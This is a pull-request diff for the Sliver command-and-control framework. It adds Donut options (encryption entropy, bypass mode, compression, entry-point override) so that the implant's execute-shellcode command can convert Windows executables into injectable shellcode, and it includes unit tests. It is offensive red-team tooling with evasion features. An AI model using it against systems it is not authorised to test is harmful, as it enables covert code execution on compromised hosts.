Merge pull request #2201 from BishopFox/feature/exec-shellcode

Add support for wasm-donut options in windows `execute-shellcode`

Author: moloch--

client/command/exec/commands.go

@@ -114,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
 		f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
 		f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
 		f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
+		f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
+		f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
+		f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
+		f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
+		f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
+		f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
+		f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
+		f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
 
 		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
 	})

client/command/exec/execute-shellcode.go

@@ -20,27 +20,44 @@ package exec
 
 import (
 	"bufio"
+	"bytes"
 	"context"
 	"fmt"
 	"io"
 	"log"
 	"os"
+	"path/filepath"
+	"strings"
 
+	"github.com/Binject/debug/pe"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	wasmdonut "github.com/sliverarmory/wasm-donut"
 	"github.com/spf13/cobra"
 	"golang.org/x/term"
 	"google.golang.org/protobuf/proto"
 )
 
+const (
+	defaultExecuteShellcodeDonutEntropy  = wasmdonut.DonutEntropyNone
+	defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
+	defaultExecuteShellcodeDonutExitOpt  = wasmdonut.DonutExitThread
+	defaultExecuteShellcodeDonutBypass   = wasmdonut.DonutBypassContinue
+	defaultExecuteShellcodeDonutHeaders  = wasmdonut.DonutHeadersOverwrite
+	imageFileDLLMask                     = 0x2000
+)
+
 // ExecuteShellcodeCmd - Execute shellcode in-memory.
 func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
+	targetName := activeTargetName(session, beacon)
+	targetOS := activeTargetOS(session, beacon)
+	targetArch := activeTargetArch(session, beacon)
 
 	rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
 	interactive, _ := cmd.Flags().GetBool("interactive")
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
+
+	shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
+	if shouldConvertPE {
+		if targetOS != "windows" {
+			con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
+			return
+		}
+		con.PrintInfof("Converting PE input to shellcode ...\n")
+		shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
+		if err != nil {
+			con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
+			return
+		}
+	}
+
 	shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
 	if shikataGaNai {
 		if !rwxPages {
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
 		return
 	}
 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+	msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
 	con.SpinUntil(msg, ctrl)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
 	}
 }
 
+func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
+	shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
+	shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
+	shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
+	shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
+	shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
+	shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
+	shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
+	shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
+
+	anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
+		cmd.Flags().Changed("shellcode-compress") ||
+		cmd.Flags().Changed("shellcode-exitopt") ||
+		cmd.Flags().Changed("shellcode-bypass") ||
+		cmd.Flags().Changed("shellcode-headers") ||
+		cmd.Flags().Changed("shellcode-thread") ||
+		cmd.Flags().Changed("shellcode-unicode") ||
+		cmd.Flags().Changed("shellcode-oep")
+
+	if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
+		return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
+	}
+	if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
+		return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
+	}
+	if shellcodeBypass < 1 || shellcodeBypass > 3 {
+		return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
+	}
+	if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
+		return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
+	}
+
+	shellcodeCompress := uint32(1)
+	if shellcodeCompressEnabled {
+		shellcodeCompress = 2
+	}
+
+	return &clientpb.ShellcodeConfig{
+		Entropy:  shellcodeEntropy,
+		Compress: shellcodeCompress,
+		ExitOpt:  shellcodeExitOpt,
+		Bypass:   shellcodeBypass,
+		Headers:  shellcodeHeaders,
+		Thread:   shellcodeThread,
+		Unicode:  shellcodeUnicode,
+		OEP:      shellcodeOEP,
+	}, anyChanged, nil
+}
+
+func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
+	ext := strings.ToLower(filepath.Ext(shellcodePath))
+	isPEByExt := ext == ".exe" || ext == ".dll"
+	return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
+}
+
+func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.GetName()
+	}
+	if beacon != nil {
+		return beacon.GetName()
+	}
+	return "target"
+}
+
+func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return strings.ToLower(session.GetOS())
+	}
+	if beacon != nil {
+		return strings.ToLower(beacon.GetOS())
+	}
+	return ""
+}
+
+func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.GetArch()
+	}
+	if beacon != nil {
+		return beacon.GetArch()
+	}
+	return ""
+}
+
+type executeShellcodeDonutOptions struct {
+	entropy  int
+	compress int
+	exitOpt  int
+	bypass   int
+	headers  int
+	thread   bool
+	unicode  bool
+	oep      uint32
+}
+
+func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
+	opts := executeShellcodeDonutOptions{
+		entropy:  defaultExecuteShellcodeDonutEntropy,
+		compress: defaultExecuteShellcodeDonutCompress,
+		exitOpt:  defaultExecuteShellcodeDonutExitOpt,
+		bypass:   defaultExecuteShellcodeDonutBypass,
+		headers:  defaultExecuteShellcodeDonutHeaders,
+	}
+	if config == nil {
+		return opts
+	}
+	if config.Entropy >= 1 && config.Entropy <= 3 {
+		opts.entropy = int(config.Entropy)
+	}
+	if config.Compress >= 1 && config.Compress <= 2 {
+		opts.compress = int(config.Compress)
+	}
+	if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
+		opts.exitOpt = int(config.ExitOpt)
+	}
+	if config.Bypass >= 1 && config.Bypass <= 3 {
+		opts.bypass = int(config.Bypass)
+	}
+	if config.Headers >= 1 && config.Headers <= 2 {
+		opts.headers = int(config.Headers)
+	}
+	opts.thread = config.Thread
+	opts.unicode = config.Unicode
+	if config.OEP > 0 {
+		opts.oep = config.OEP
+	}
+	return opts
+}
+
+func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
+	peFile, err := pe.NewFile(bytes.NewReader(data))
+	if err != nil {
+		return nil, err
+	}
+	isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
+	ext := ".exe"
+	if isDLL {
+		ext = ".dll"
+	}
+	opts := normalizeExecuteShellcodeDonutConfig(config)
+	result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
+		Ext:      ext,
+		Arch:     getExecuteShellcodeDonutArch(arch),
+		Bypass:   opts.bypass,
+		Headers:  opts.headers,
+		Entropy:  opts.entropy,
+		Compress: opts.compress,
+		ExitOpt:  opts.exitOpt,
+		Thread:   opts.thread,
+		Unicode:  opts.unicode,
+		OEP:      opts.oep,
+	})
+	if err != nil {
+		return nil, err
+	}
+	return addExecuteShellcodeStackCheck(result.Loader), nil
+}
+
+func getExecuteShellcodeDonutArch(arch string) int {
+	donutArch := wasmdonut.DonutArchX84
+	switch strings.ToLower(arch) {
+	case "x32", "x86", "386":
+		donutArch = wasmdonut.DonutArchX86
+	case "x64", "amd64":
+		donutArch = wasmdonut.DonutArchX64
+	case "x84":
+		donutArch = wasmdonut.DonutArchX84
+	}
+	return donutArch
+}
+
+func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
+	stackCheckPrologue := []byte{
+		0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
+		0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
+	}
+	return append(stackCheckPrologue, shellcode...)
+}
+
 func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
 	// Check active session
 	session := con.ActiveTarget.GetSessionInteractive()

client/command/exec/execute-shellcode_test.go

@@ -0,0 +1,100 @@
+package exec
+
+import (
+	"testing"
+
+	"github.com/spf13/cobra"
+)
+
+func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
+	cmd := newExecuteShellcodeFlagsTestCommand(t)
+
+	cfg, changed, err := parseExecuteShellcodeFlags(cmd)
+	if err != nil {
+		t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
+	}
+	if changed {
+		t.Fatalf("expected changed=false with defaults")
+	}
+	if cfg == nil {
+		t.Fatalf("expected non-nil config")
+	}
+	if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
+		t.Fatalf("unexpected defaults: %+v", cfg)
+	}
+	if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
+		t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
+	}
+}
+
+func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
+	cmd := newExecuteShellcodeFlagsTestCommand(t)
+	if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
+		t.Fatalf("set shellcode-entropy: %v", err)
+	}
+	if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
+		t.Fatalf("set shellcode-compress: %v", err)
+	}
+	if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
+		t.Fatalf("set shellcode-thread: %v", err)
+	}
+
+	cfg, changed, err := parseExecuteShellcodeFlags(cmd)
+	if err != nil {
+		t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
+	}
+	if !changed {
+		t.Fatalf("expected changed=true")
+	}
+	if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
+		t.Fatalf("unexpected changed config: %+v", cfg)
+	}
+}
+
+func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
+	cmd := newExecuteShellcodeFlagsTestCommand(t)
+	if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
+		t.Fatalf("set shellcode-bypass: %v", err)
+	}
+	if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
+		t.Fatalf("expected validation error for shellcode-bypass")
+	}
+}
+
+func TestShouldConvertExecuteShellcodePE(t *testing.T) {
+	testCases := []struct {
+		name         string
+		path         string
+		flagsChanged bool
+		wantConvert  bool
+		wantDLL      bool
+	}{
+		{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
+		{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
+		{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
+		{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
+	}
+	for _, tc := range testCases {
+		t.Run(tc.name, func(t *testing.T) {
+			gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
+			if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
+				t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
+			}
+		})
+	}
+}
+
+func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
+	t.Helper()
+
+	cmd := &cobra.Command{Use: "execute-shellcode"}
+	cmd.Flags().Uint32("shellcode-entropy", 1, "")
+	cmd.Flags().Bool("shellcode-compress", false, "")
+	cmd.Flags().Uint32("shellcode-exitopt", 1, "")
+	cmd.Flags().Uint32("shellcode-bypass", 3, "")
+	cmd.Flags().Uint32("shellcode-headers", 1, "")
+	cmd.Flags().Bool("shellcode-thread", false, "")
+	cmd.Flags().Bool("shellcode-unicode", false, "")
+	cmd.Flags().Uint32("shellcode-oep", 0, "")
+	return cmd
+}

client/command/help/long-help.go

@@ -437,8 +437,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
 	mountHelp = `[[.Bold]]Command:[[.Normal]] mount
 [[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
 
-	executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
-[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
+	executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
+[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
+converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
 
 [[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
 Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command: